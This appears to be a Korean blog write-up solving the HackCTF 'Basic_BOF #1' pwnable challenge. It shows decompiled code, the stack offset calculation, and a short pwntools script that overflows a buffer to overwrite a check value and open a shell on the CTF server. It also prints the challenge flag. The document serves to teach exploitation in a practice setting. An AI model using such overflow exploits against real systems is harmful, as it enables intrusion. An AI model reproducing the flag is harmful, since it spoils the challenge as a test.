Basic_BOF #1
100
Basic BOF
nc ctf.j0n9hyun.xyz 3000
IDA로 까보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+4h] [bp-34h]@1
int v5; // [sp+2Ch] [bp-Ch]@1
v5 = 0x4030201;
fgets(&s, 45, stdin);
printf("\n[buf]: %s\n", &s);
printf("[check] %p\n", v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
|
cs |
v5을 0xDEADBEEF으로 덮으면 된다.
메모리 구조
s [bp-34h]
v5 [bp-Ch]
34h-Ch=28h=40d
s에 입력을 받고, s와 v5 사이의 간격은 40바이트다. 45바이트를 입력받으니 충분히 v5을 덮을 수 있다.
페이로드 : "A"*40+"\xef\xbe\xad\xde"
ex.py
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3000)
payload = "A"*40+"\xef\xbe\xad\xde"
p.sendline(payload)
p.interactive()
|
cs |
FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [Basic_BOF #2] 풀이 (0) | 2019.08.29 |
---|---|
HackCTF Reversing 카테고리 풀이 (0) | 2019.08.29 |
HackCTF Forensics 카테고리 풀이 (0) | 2019.07.20 |
HackCTF Cryptography 카테고리 풀이 (2) | 2019.07.18 |
HackCTF MISC 카테고리 풀이 (0) | 2019.07.18 |